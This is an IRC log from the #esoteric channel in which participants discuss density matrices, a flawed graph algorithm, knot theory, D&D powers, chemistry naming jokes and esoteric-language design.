< 1268965852 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Until recently, all my caffeine came from soda < 1268966955 0 :comex_!unknown@unknown.invalid NICK :comex < 1268970697 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268971107 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268971151 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268973401 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268973892 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268975731 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268976146 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268976893 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268977705 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268979232 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1268979387 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :enq < 1268979389 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :!!! < 1268979392 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1268979405 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268979408 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268979481 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :なるほど。 < 1268979584 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1268979586 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Are we on today? < 1268979601 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268979613 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ぜんぜんない。 < 1268979619 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :today we are under < 1268979631 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I noticed I have to use the view-source function in my browser to view thw log because otherwise it treated it as a application/octet-stream and trying to override it didn't work either < 1268979647 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268979654 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Are all pure-state density matrix also valid as projector matrix? < 1268979674 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Also, are all pure-state density matrix singular? < 1268979691 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um < 1268979722 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Is the identity matrix the only unitary projector matrix? < 1268979730 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :density matrix is v*v, right? < 1268979750 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :A pure-state density matrix for state |x> is |x> 1, then yes. < 1268979882 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in a basis where the pure state is the first member, the matrix takes the form upper left = 1, rest 0 < 1268979895 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and everything else can be changed to that with a basis change. < 1268979908 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(which preserves determinants) < 1268979947 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :My logic was a bit different: I had read previously on this channel what unitary is. A unitary matrix has its conjugate transpose also as its inverse, therefore multiplied by its conjugate transpose must make the identity matrix. A projector matrix squares to itself and is also its own conjugate transpose. Therefore, it would have to be the identity matrix to be both projector and unitary. < 1268979975 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268980038 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Is my logic correct? < 1268980045 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :p = pp = p^*p = 1. yes. < 1268980070 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268980120 0 :jcp1!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268980161 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I have tried various pure-state density matrices to see if they were projectors and in fact they were, so then I tried to see if that was the general case. < 1268980274 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(|x>^*) = |x> = means < 1268980369 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(|x>()1 is 1*1 matrix < 1268980416 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Yes, and if normalized =1 now it makes sense! < 1268980522 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268980523 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I am glad you understand this stuff, because the people I know personally, don't know this stuff, so I have to explain it to them. < 1268980551 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :So they can't answer my question, but you can. < 1268980602 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Someone gave me Penrose's book as a present (I think a birthday present), actually. < 1268980702 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Something I did in the D&D game today reminds me of the "Projector For Dematerializing Any Matter For One Minute". < 1268980784 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :huh - is that also something from penrose's book? < 1268980789 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268980793 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268980794 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :It is something unrelated < 1268980802 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :http://superdickery.com/index.php?option=com_content&view=article&catid=33%3Aweird-science-index&id=485%3Aprojector-for-dematerializing-any-matter-for-one-minute&Itemid=24 < 1268980860 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah superman comic < 1268980889 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Most. Cumbersome. Product. Name. Ever. indeed :D < 1268980926 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Another question: Do you ever tell anyone to "O, go drink hydroxic acid" < 1268980969 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :unless hydroxic acid is another name for dihydrogen monoxide, i doubt it < 1268980991 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Hydroxic acid is another name for dihydrogen monoxide. < 1268980997 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1268981006 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :But do you ever say "O, go drink dihydrogen monoxide" to anyone? < 1268981024 0 :coppro!unknown@unknown.invalid QUIT :Client Quit < 1268981027 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i don't usually say that under any name, really < 1268981055 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :now hydroxic acid seems a misnomer given that it is not actually acidic... < 1268981071 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268981134 0 :jcp1!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268981155 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: It is both an acid and a base. < 1268981175 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"Both acid and alkali names exist ... because it is amphoteric (able to react both as an acid or an alkali)." < 1268981179 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though the term is actually "hydric acid". < 1268981179 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so yeah < 1268981191 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(IIRC) < 1268981217 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"Other systematic names ... include hydroxic acid, hydroxylic acid, and hydrogen hydroxide." < 1268981228 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmkay. There we go. < 1268981349 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :The spell which reminded me of that Superman comic was Time Hop. And I had manifester level 10 so the duration was 10 rounds (= 1 minute). < 1268981400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Hydroxic_acid#Systematic_naming < 1268981466 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: 'Tis a fun spell. < 1268981472 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well. Power. < 1268981499 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Yes, psionic power. Right < 1268981562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : But do you ever say "O, go drink dihydrogen monoxide" to anyone? <-- no, but I never say "O, " < 1268981571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :other than that, I could do so < 1268981617 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :O go thou and imbibe of the dihydrogen monoxide < 1268981933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, "imbibe"? < 1268981943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't have time to check a dictionary atm
< 1268981945 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define imbibe < 1268981948 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* absorb: take in, also metaphorically; "The sponge absorbs water well"; "She drew strength from the minister's words" \ * assimilate: take (gas, light or heat) into a solution \ * drink: take in liquids; "The patient must drink several liters each day"; "The children like to drink soda" < 1268981968 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I first read sponge as "spoon" < 1268981982 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there is no spoon < 1268982001 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268982068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1268982247 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I used: the "Time Hop" power twice, the natural capability to create spider webs twice, "Amanuensis" spell once, "Object Reading" once, and "Dimension Door" power once. My brother's character is a human ninja so they used ethereal and see invisible, a lot this time. It is a useful way for him to trick the bartender. < 1268982612 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Have you plaed "Xnazzyball"? < 1268982623 0 :zzo38!unknown@unknown.invalid QUIT :Quit: This is not a "spoon" < 1268982865 0 :fizzie!~fis@2001:1bc8:102:587b:230:18ff:fea9:6f01 JOIN :#esoteric < 1268983709 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: ping < 1268983716 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pong < 1268983745 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think i have a graph for which your algorithm doesn't work < 1268983784 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*--* < 1268983793 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :|\ | < 1268983795 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :| \| < 1268983798 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*--* < 1268983802 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268983806 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :for which node? :P < 1268983810 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :upper left < 1268983814 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it works fine ;) < 1268983822 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ive tested it well enough on that graph < 1268983834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well then the pdf you posted was not the right algorithm < 1268983843 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes, it was. you're doing it wrong. :) < 1268983903 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :my intuitive reading of your pseudocode is that you remove the vertex with the smallest number of (non-u) neighbors. < 1268983919 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :leaving only the upper left and lower right for the next step < 1268983945 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so if that's not what it does, the pseudocode needs some clarifying. < 1268983977 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(well the upper left is of course just implied) < 1268983990 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :read it again < 1268984002 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what happens is you find the smallest set of neighbors neighbors < 1268984042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um need some notation < 1268984050 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :u--a < 1268984054 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :|\ | < 1268984058 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :| \| < 1268984061 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :b--c < 1268984064 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you go from u to a,b,c < 1268984089 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then from a to u,c; from b to u,c; and from c to u,a,b < 1268984106 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the first pairs = {(a,{c}),(b,{c}),(c,{a,b})} < 1268984115 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er < 1268984223 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dropped = {(a,{c}),(b,{c})}, after = {(c,{a,b})} < 1268984238 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :before the if < 1268984249 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :eh < 1268984260 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so first pairs is that yes < 1268984267 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :min is 1 < 1268984284 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes ok < 1268984320 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :then the for loop changes after to {(c,{})} < 1268984364 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :eh.. oh, you're right. let me see if my actual code is like that < 1268984515 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :aha you're right. my algorithm doesn't work! < 1268984529 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i couldve sworn i've run it on graphs like this before tho. < 1268984529 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1268984530 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268984643 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :note that if you start with a or b instead it probably works < 1268984708 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268984808 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :meh. whatever. im not interested in the algorithm in any real sense except to make this pos induction thing work :P < 1268984863 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :very well < 1268984959 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but i want the POS induction to work fast, so.. :p < 1268984962 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok im off to bed < 1268984964 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :night dude < 1268984968 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :night < 1268985599 0 :clog!unknown@unknown.invalid QUIT :ended < 1268985600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268985862 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268986724 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268987659 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268988673 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268989836 0 :cheater2!~cheater@ip-80-226-31-201.vodafone-net.de JOIN :#esoteric < 1268993205 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268997184 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269001801 0 :EgoBot!unknown@unknown.invalid QUIT :*.net *.split < 1269001801 0 :MaXo2!unknown@unknown.invalid QUIT :*.net *.split < 1269001801 0 :olsner!unknown@unknown.invalid QUIT :*.net *.split < 1269002078 0 :MaXo2!~dwili@esp64-1-82-243-172-27.fbx.proxad.net JOIN :#esoteric < 1269002117 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269005571 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if oerjan keeps owning augur like that, sooner or later he'll start believing when he says he's wrong, which is a scary thought. for verying meanings of he. < 1269005583 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*believing him < 1269005677 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :of course i've just seen random snippets of their interaction, so maybe it's not as one-directional as i think < 1269005751 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Bidirectional ownership starts to sound like some sort of relationship thing there. < 1269005805 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well i believe augur prefers just being owned, so i'm not sure it even needs to be bidirectional < 1269006880 0 :atrapado!~roper@46.188.116.91.dynamic.mundo-r.com JOIN :#esoteric < 1269008370 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269010670 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269011335 0 :MigoMipo!~migomipo@84-217-9-31.tn.glocalnet.net JOIN :#esoteric < 1269011939 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, the Poincaré conjecture has been proved < 1269011949 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's one of the ones that had a million-dollar prize attached < 1269011985 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I am watching a talk on this now < 1269011995 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269012053 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269012334 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hE SAID SOMETHING ABOUT KNOT THOERY WHICH I DONT GET < 1269012516 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i know everything about knot theory < 1269012519 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you can just ask me < 1269012554 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :knots can be uniquely factorized into primitive knots and primitive knots commute < 1269012585 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :braids have been pretty much completely characterized, but we know very little about knots in general < 1269012586 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, so unknotting algorithm can be implemented? < 1269012594 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh.. < 1269012603 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :maybe this is like what I used to think 'polynomials' were univariate < 1269012606 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's a very grey area knowingnesswise < 1269012614 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :perhaps when he said this about knots he was really talking about braids < 1269012637 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :braids are sort of permutations but with strings < 1269012694 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you can represent them prettily as a braid algebra sort of thing < 1269012711 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :knots.. links.. braids I have no idea what one I mean < 1269012717 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :where you construct them with different sorts of primitive braidings which are taking a string over another and so on < 1269012728 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :aaaaand i guess that's all i know < 1269012736 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269012743 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well do you know what they are? i have no idea what links are < 1269012749 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :unless they are trivial knot < 1269012749 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :s < 1269012767 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :say a closed simple path in 3D < 1269012770 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :he was probably talking about knots, i haven't heard about braids nearly as much as knots < 1269012777 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah that works < 1269012791 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :can you detect if they are the unknot (just a circle) with an algorithm? < 1269012804 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or well < 1269012805 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I heard the algorithm to do that was one of the hardest possible algorithms to write < 1269012817 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's like saying the reals are lists of rationals, it's the equivalence classes that are knots < 1269012828 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but then this guy in the talk says someone coded a thing which turns a knot into a normal form on APPLE ][!!! < 1269012834 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but i guess you know that < 1269012854 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: you can, i think that's pretty obvious, but you can't do it efficiently as far as we know < 1269012864 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no it's not obvious < 1269012871 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well with the simple path representation of course it's not obvious < 1269012882 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but there are other ways that make it obvious < 1269012886 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :reidmeister moves don't normalize for example < 1269012894 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah but you can just try them all out < 1269012904 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :finite amount of things to do < 1269012932 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but the idea was like, < 1269012935 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if they normalized, we might have something remotely efficient for it, and might call the problem solved; all that's obvious is that we have this exponential (or more) time algo to do it < 1269012937 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can tile space with cubes or whateer < 1269012950 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and this guy says there's an apple ][ program which computes a tile from a knot.. and the tile is a normal form < 1269012993 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :to me, a fast algorithm to untangle knots would be much more interesting news than pointcare's conjecture < 1269013005 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1269013007 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean i don't really give a fuck about that thing < 1269013011 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :were not even talking about poincare... < 1269013034 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i thought someone said something about knots in the pointcare talk < 1269013038 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269013075 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"you start with this knot with 10 crossings... maybe I have to take it through a knot with 100 crossings to show it equal to this other knot" < 1269013080 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so what i said was totally relevant, "what, there's an algo for knots? then why are you still watching the pointcare talk??" < 1269013112 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean that's not what i meant, but i'm sure there was a discussion theoretic reason to say it. < 1269013132 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269013148 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but I want to find normal forms for knots < 1269013152 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :who doesn't < 1269013163 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :do you not know of such? < 1269013188 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if there were any, in any useful sense, then there would be an efficient algorithm to check if knots are equal. there isn't < 1269013214 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or well in the rewrite system sense < 1269013466 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :a normal form is a function from representations of some things into some set, which gives the same return value for things in the same equivalence class, and is an injection in the sense that it gives a different value for two things if they're not in the same equivalence class. we don't have this, but we have it sans the equivalence class respecting injectivity part, we have these functions that give the same value for two represen < 1269013472 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :did that all come through? < 1269013483 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I know what a normal form is < 1269013490 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :all this would be so much clearer if i knew good definitions for these representation spaces < 1269013516 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah, but i'm not sure you understand the connection between normal forms and knot invariants < 1269013522 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :because i just came up with it < 1269013533 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the vauge idea he sketched out was that for any knot in 3D you can think about the spaec around it < 1269013544 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269013546 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then you can make some kind of tile which represents the topology of that space < 1269013550 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and these tiles are a normal form < 1269013599 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so... they all have the same normal form? < 1269013604 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o_O < 1269013618 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean aren't all those topologies just a link < 1269013655 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"In 1985 thurstens graduate student, jeff weeks wrote a program for the little gray machintosh that finds these blueprints.. you draw a knot and a few seconds later, it determines a canonical blueprint for the knot" < 1269013684 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"this program easily replaced perko tate and little, it immediately identifies the perko pair as being the same, and classifies all knots up to 10 crossings" < 1269013704 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269013726 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh, cool < 1269013779 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah, this seems to be an intro to the topic -- http://pzacad.pitzer.edu/~jhoste/HosteWebPages/downloads/HTW.pdf < 1269013783 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'll just read this < 1269013871 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow it seems to cover knots which are a finite set of closed paths rather than just one path < 1269013914 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION afk
< 1269013993 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269014703 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269015438 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, ah... the method they use only works for alternating knots < 1269015447 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :losing intrest... < 1269015685 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ic < 1269015730 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I was going to implement it, if it was a normal form for all knots :( < 1269015740 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.geometrygames.org/SnapPea/ < 1269015830 0 :Asztal!~asztal@host86-155-75-229.range86-155.btcentralplus.com JOIN :#esoteric < 1269015979 0 :lereah_!unknown@unknown.invalid QUIT :Quit: Leaving < 1269018712 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269019876 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269019949 0 :pineapple!~pineapple@cpc3-aztw11-0-0-cust24.aztw.cable.virginmedia.com JOIN :#esoteric < 1269021448 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269021849 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269022444 0 :sshc!unknown@unknown.invalid QUIT :Quit: leaving < 1269022758 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, http://en.wikipedia.org/wiki/The_Book_of_Mozilla is really ridiculously detailed < 1269022764 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's almost as if people are starting a religion about it :) < 1269022984 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269023099 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ais523: people these days will start a religion following jut about anything < 1269023114 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269023117 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :see also: the number of people who stated their religion as "Jedi" in the 2001 census < 1269023126 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I'm aware of that < 1269023147 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it lead to hilarious side-effects when someone who was asked to remove their hood in a Jobcentre managed to keep it on by claiming that they were a devout Jedi < 1269023158 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269023201 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :going back on topic for a moment (and since there's someone else around now)... < 1269023254 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :i noticed in the DoubleFuck article that the 2 pointers operate on seperate arrays... and was wondering if it would be more interesting if they operated on the same array < 1269023297 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :quite possibly, although it's unlikely to make much difference < 1269023308 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :hmm? < 1269023323 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, well, it would < 1269023338 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could make it work like the original lang simply by putting them in far-off sections of the tape < 1269023356 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or by having one starting at an odd location, the other at an even location, then moving with << >> rather than < > < 1269023403 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :but that's boring, 